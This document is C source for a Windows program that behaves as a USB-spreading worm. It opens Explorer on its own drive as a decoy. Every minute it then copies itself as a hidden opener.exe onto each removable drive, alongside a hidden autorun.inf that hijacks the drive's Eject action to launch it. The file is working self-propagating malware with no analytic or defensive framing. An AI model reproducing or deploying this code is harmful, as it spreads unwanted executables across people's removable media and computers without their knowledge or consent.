
#define AUTORUN_CONTENTS "[autorun]\r\nshell\\eject=Eject\r\nshell\\eject\\command=opener.exe\r\nshell=eject\r\n"

HANDLE hmutex = NULL;

void closing()
{
	if (hmutex)
		ReleaseMutex(hmutex);
}

int APIENTRY _tWinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPTSTR    lpCmdLine,
                     int       nCmdShow)
{
	UNREFERENCED_PARAMETER(hPrevInstance);
	UNREFERENCED_PARAMETER(lpCmdLine);

	WCHAR myfile[1024];
	GetModuleFileName(NULL, myfile, 1024);
	if (myfile[1] != L':')
		return 1;
	WCHAR cmd[1024];
	wsprintf(cmd, L"explorer %c:\\", myfile[0]);
	STARTUPINFOW si;
	memset(&si, 0, sizeof(si));
	si.cb = sizeof(si);
	PROCESS_INFORMATION po;
	memset(&po, 0, sizeof(po));
	CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &po);

	hmutex = CreateMutex(NULL, TRUE, L"Opener");
	if (hmutex == INVALID_HANDLE_VALUE)
		return 1;
	if (GetLastError() == ERROR_ALREADY_EXISTS) {
		CloseHandle(hmutex);
		return 1;
	}

	atexit(closing);

	HANDLE hmyfile = CreateFile(myfile, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
	if (hmyfile == NULL)
		return 1;
	DWORD szhigh = 0;
	DWORD szlow = GetFileSize(hmyfile, &szhigh);
	if (szhigh != 0) {
		CloseHandle(hmyfile);
		return 1;
	}
	void *myfilemem = malloc(szhigh * 65536 + szlow);
	DWORD nread;
	ReadFile(hmyfile, myfilemem, szlow, &nread, NULL);
	CloseHandle(hmyfile);

	while(1) {
		DWORD mask = GetLogicalDrives();
		for (int i = 0; i < 26; i++) 
			if (mask & (1 << i)) {
				WCHAR path[100];
				path[0] = L'A' + i;
				path[1] = L':';
				path[2] = L'\\';
				path[3] = 0;
				DWORD type = GetDriveType(path);
				if (type == DRIVE_REMOVABLE) {
					DWORD spc, bps, nfc, tnc;
					if (GetDiskFreeSpace(path, &spc, &bps, &nfc, &tnc)) {
						if (nfc < tnc) {
							wsprintf(path, L"%c:\\autorun.inf", L'A' + i);
							if (GetFileAttributes(path) == INVALID_FILE_ATTRIBUTES) {
								HANDLE h = CreateFile(path, GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_HIDDEN, NULL);
								if (h != INVALID_HANDLE_VALUE) {
									DWORD written;
									WriteFile(h, AUTORUN_CONTENTS, (DWORD)strlen(AUTORUN_CONTENTS), &written, NULL);
									CloseHandle(h);
									wsprintf(path, L"%c:\\opener.exe", L'A' + i);
									h = CreateFile(path, GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_HIDDEN, NULL);
									if (h != INVALID_HANDLE_VALUE) {
										WriteFile(h, myfilemem, szlow, &written, NULL);
										CloseHandle(h);
									} else {
										wsprintf(path, L"%c:\\autorun.inf", L'A' + i);
										DeleteFile(path);
									}
								}
							}
						}
					}
				}
			}
		Sleep(1000 * 60);
	}

	return 0;
}
